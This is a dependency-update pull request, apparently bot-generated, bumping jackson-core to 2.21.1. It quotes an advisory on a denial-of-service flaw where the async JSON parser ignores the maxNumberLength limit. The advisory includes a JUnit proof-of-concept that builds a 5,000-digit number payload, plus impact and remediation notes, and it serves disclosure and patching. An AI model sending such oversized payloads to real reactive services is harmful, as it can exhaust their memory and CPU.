critical
#29110
Update dependency com.fasterxml.jackson.core:jackson-core to v2.21.1 [SECURITY]
This PR contains the following updates:
| Package | Type | Update | Change |
| --- | --- | --- | --- |
| com.fasterxml.jackson.core:jackson-core | compile | minor | 2.19.4 → 2.21.1 |
---
⚠️ Warning
Some dependencies could not be looked up. Check the warning logs for more information.
---
jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
Details
##### Summary The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints . This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
##### Details The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g., _finishNumberIntegralPart ) accumulate digits into the TextBuffer without any length checks.
- After parsing, they call _valueComplete() , which finalizes the token but does not call resetInt() or resetFloat() .
- The resetInt() / resetFloat() methods in ParserBase are where the validateIntegerLength() and validateFPLength() checks are performed.
- Because this validation step is skipped, the maxNumberLength constraint is never enforced in the async code path.
##### PoC The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
{{{java package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*; import tools.jackson.core.exc.StreamConstraintsException; import tools.jackson.core.json.JsonFactory; import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
- POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers *
- Authors: sprabhav7, rohan-repos
- maxNumberLength default = 1000 characters (digits).
- A number with more than 1000 digits should be rejected by any parser. *
- BUG: The async parser never calls resetInt()/resetFloat() which is where
- validateIntegerLength()/validateFPLength() lives. Instead it calls
- _valueComplete() which skips all number length validation. *
- CWE-770: Allocation of Resources Without Limits or Throttling */
class AsyncParserNumberLengthBypassTest {
private static final int MAX''NUMBER''LENGTH = 1000;
private static final int TEST''NUMBER''LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST''NUMBER''LENGTH);
// Output to console
System.out.println("SYNC Parsing " + TEST''NUMBER''LENGTH + "-digit number (limit: " + MAX''NUMBER''LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE''NUMBER''INT) {
System.out.println("SYNC Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST''NUMBER''LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("SYNC Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST''NUMBER''LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE''NUMBER''INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST''NUMBER''LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST''NUMBER''LENGTH + " digits");
}
}
// Output to console
System.out.println("INT Accepted number with " + TEST''NUMBER''LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE''NUMBER''INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
##### Impact A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause: 1. '''Memory Exhaustion:''' Unbounded allocation of memory in the TextBuffer to store the number's digits, leading to an OutOfMemoryError . 2. '''CPU Exhaustion:''' If the application subsequently calls getBigIntegerValue() or getDecimalValue() , the JVM can be tied up in O(n^2) BigInteger parsing operations, leading to a CPU-based DoS. ##### Suggested Remediation The async parsing path should be updated to respect the maxNumberLength constraint. The simplest fix appears to ensure that _valueComplete() or a similar method in the async path calls the appropriate validation methods ( resetInt() or resetFloat() ) already present in ParserBase , mirroring the behavior of the synchronous parsers. '''NOTE:''' This research was performed in collaboration with [https://github.com/rohan-repos rohan-repos] === Severity === - CVSS Score: Unknown - Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N === References === - [https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq] - [https://github.com/FasterXML/jackson-core/issues/1538 https://github.com/FasterXML/jackson-core/issues/1538] - [https://github.com/FasterXML/jackson-core/commit/a004e9789c2cc6b41b379d02d229d58474d9a738 https://github.com/FasterXML/jackson-core/commit/a004e9789c2cc6b41b379d02d229d58474d9a738] - [https://github.com/FasterXML/jackson-core https://github.com/FasterXML/jackson-core] This data is provided by [https://osv.dev/vulnerability/GHSA-72hv-8253-57qq OSV] and the [https://github.com/github/advisory-database GitHub Advisory Database] ([https://github.com/github/advisory-database/blob/main/LICENSE.md CC-BY 4.0]). ---